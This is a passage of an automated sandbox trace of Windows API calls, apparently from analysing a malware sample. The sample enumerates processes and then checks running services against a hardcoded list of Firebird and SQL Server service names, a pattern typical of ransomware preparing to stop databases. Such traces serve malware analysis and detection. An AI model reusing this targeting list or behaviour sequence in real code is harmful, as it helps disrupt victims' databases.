cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ambientmanufacturers.exe")) returned 1 [0200.623] lstrlenW (lpString="ambientmanufacturers.exe") returned 24 [0200.623] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="secretaryscientist.exe")) returned 1 [0200.624] lstrlenW (lpString="secretaryscientist.exe") returned 22 [0200.625] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="musicians_tones_dramatic.exe")) returned 1 [0200.626] lstrlenW (lpString="musicians_tones_dramatic.exe") returned 28 [0200.626] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always_winds.exe")) returned 1 [0200.627] lstrlenW (lpString="always_winds.exe") returned 16 [0200.627] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="heatednetworkingaddress.exe")) returned 1 [0200.628] lstrlenW (lpString="heatednetworkingaddress.exe") returned 27 [0200.628] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="complexity forward jo.exe")) returned 1 [0200.629] lstrlenW (lpString="complexity forward jo.exe") returned 25 [0200.629] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allow_internship_stands.exe")) returned 1 [0200.630] lstrlenW (lpString="allow_internship_stands.exe") returned 27 [0200.630] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="alienwed.exe")) returned 1 [0200.631] lstrlenW (lpString="alienwed.exe") returned 12 [0200.631] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="decent-wind-tuition.exe")) returned 1 [0200.632] lstrlenW (lpString="decent-wind-tuition.exe") returned 23 [0200.632] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="warriorpayroll.exe")) returned 1 [0200.633] lstrlenW (lpString="warriorpayroll.exe") returned 18 [0200.633] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mp beginners.exe")) returned 1 [0200.634] lstrlenW (lpString="mp beginners.exe") returned 16 [0200.635] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="theorem mo ol.exe")) returned 1 [0200.636] lstrlenW (lpString="theorem mo ol.exe") returned 17 [0200.636] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposition-photos-juvenile.exe")) returned 1 [0200.637] lstrlenW (lpString="proposition-photos-juvenile.exe") returned 31 [0200.637] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="harassment.exe")) returned 1 [0200.638] lstrlenW (lpString="harassment.exe") returned 14 [0200.638] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="francis-communication.exe")) returned 1 [0200.639] lstrlenW (lpString="francis-communication.exe") returned 25 [0200.639] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gccinformational.exe")) returned 1 [0200.640] lstrlenW (lpString="gccinformational.exe") returned 20 [0200.640] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="diploma.exe")) returned 1 [0200.641] lstrlenW (lpString="diploma.exe") returned 11 [0200.641] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshots-mistress.exe")) returned 1 [0200.642] lstrlenW (lpString="screenshots-mistress.exe") returned 24 [0200.642] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0200.643] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0200.643] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.644] lstrlenW (lpString="svchost.exe") returned 11 [0200.644] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0200.645] lstrlenW (lpString="sppsvc.exe") returned 10 [0200.645] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0200.646] lstrlenW (lpString="svchost.exe") returned 11 [0200.646] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0200.646] lstrlenW (lpString="dllhost.exe") returned 11 [0200.646] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0200.647] lstrlenW (lpString="dllhost.exe") returned 11 [0200.647] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="qnuriy.exe")) returned 1 [0200.648] lstrlenW (lpString="qnuriy.exe") returned 10 [0200.648] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb5c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0200.649] lstrlenW (lpString="cmd.exe") returned 7 [0200.649] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0200.650] lstrlenW (lpString="conhost.exe") returned 11 [0200.650] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0200.651] lstrlenW (lpString="mode.com") returned 8 [0200.651] Process32NextW (in: hSnapshot=0x1a4, lppe=0x229fd34 | out: lppe=0x229fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0200.652] CloseHandle (hObject=0x1a4) returned 1 [0200.652] Sleep (dwMilliseconds=0x1f4) [0201.683] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x56fea8 [0201.683] EnumServicesStatusExW (in: hSCManager=0x56fea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 0 [0201.683] GetLastError () returned 0xea [0201.683] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x134c) returned 0x3f0c0d0 [0201.684] EnumServicesStatusExW (in: hSCManager=0x56fea8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f0c0d0, cbBufSize=0x134c, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f0c0d0, pcbBytesNeeded=0x229ff44, lpServicesReturned=0x229ff5c, lpResumeHandle=0x0) returned 1 [0201.684] CloseServiceHandle (hSCObject=0x56fea8) returned 1 [0201.684] lstrlenW (lpString="Appinfo") returned 7 [0201.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0201.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0201.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0201.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0201.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0201.684] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0201.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0201.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0201.684] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0201.684] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0201.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0201.685] lstrlenW (lpString="AudioSrv") returned 8 [0201.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0201.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0201.685] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0201.685] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0201.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0201.685] lstrlenW (lpString="BFE") returned 3 [0201.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0201.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0201.685] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0201.685] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0201.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0201.685] lstrlenW (lpString="CryptSvc") returned 8 [0201.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0201.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0201.685] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0201.685] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0201.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0201.685] lstrlenW (lpString="CscService") returned 10 [0201.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0201.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0201.685] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0201.685] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0201.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0201.685] lstrlenW (lpString="DcomLaunch") returned 10 [0201.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0201.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0201.685] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0201.685] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0201.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0201.685] lstrlenW (lpString="Dhcp") returned 4 [0201.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0201.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0201.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0201.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0201.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0201.686] lstrlenW (lpString="Dnscache") returned 8 [0201.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0201.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0201.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0201.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0201.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0201.686] lstrlenW (lpString="DPS") returned 3 [0201.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0201.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0201.686] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0201.686] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0201.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0201.686] lstrlenW (lpString="eventlog") returned 8 [0201.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0201.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0201.686] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0201.686] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0201.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0201.686] lstrlenW (lpString="EventSystem") returned 11 [0201.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0201.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0201.686] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0201.687] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0201.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0201.687] lstrlenW (lpString="FontCache") returned 9 [0201.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0201.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0201.687] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0201.687] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0201.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0201.687] lstrlenW (lpString="gpsvc") returned 5 [0201.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0201.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0201.687] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0201.687] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0201.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0201.687] lstrlenW (lpString="iphlpsvc") returned 8 [0201.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0201.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0201.687] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0201.687] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0201.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0201.687] lstrlenW (lpString="LanmanServer") returned 12 [0201.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0201.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0201.687] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0201.687] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0201.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0201.687] lstrlenW (lpString="LanmanWorkstation") returned 17 [0201.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0201.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0201.688] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0201.688] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0201.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0201.688] lstrlenW (lpString="lmhosts") returned 7 [0201.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0201.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0201.688] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0201.688] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0201.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0201.688] lstrlenW (lpString="MMCSS") returned 5 [0201.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0201.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0201.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0201.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0201.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0201.688] lstrlenW (lpString="MpsSvc") returned 6 [0201.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0201.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0201.688] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0201.688] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0201.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0201.688] lstrlenW (lpString="Netman") returned 6 [0201.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0201.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0201.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0201.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0201.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0201.689] lstrlenW (lpString="netprofm") returned 8 [0201.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0201.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0201.689] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0201.689] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0201.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0201.689] lstrlenW (lpString="NlaSvc") returned 6 [0201.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0201.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0201.689] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0201.689] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0201.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0201.689] lstrlenW (lpString="nsi") returned 3 [0201.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0201.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0201.689] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0201.689] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0201.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0201.689] lstrlenW (lpString="PcaSvc") returned 6 [0201.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0201.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0201.689] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0201.689] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0201.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0201.690] lstrlenW (lpString="PlugPlay") returned 8 [0201.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0201.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0201.690] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0201.690] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0201.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0201.690] lstrlenW (lpString="Power") returned 5 [0201.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0201.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0201.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0201.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0201.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0201.690] lstrlenW (lpString="ProfSvc") returned 7 [0201.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0201.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0201.690] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0201.690] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0201.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0201.690] lstrlenW (lpString="RpcEptMapper") returned 12 [0201.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0201.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0201.690] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0201.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0201.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0201.691] lstrlenW (lpString="RpcSs") returned 5 [0201.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0201.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0201.691] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0201.691] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0201.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0201.691] lstrlenW (lpString="SamSs") returned 5 [0201.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0201.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0201.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0201.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0201.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0201.691] lstrlenW (lpString="Schedule") returned 8 [0201.691] lstrcmpiW 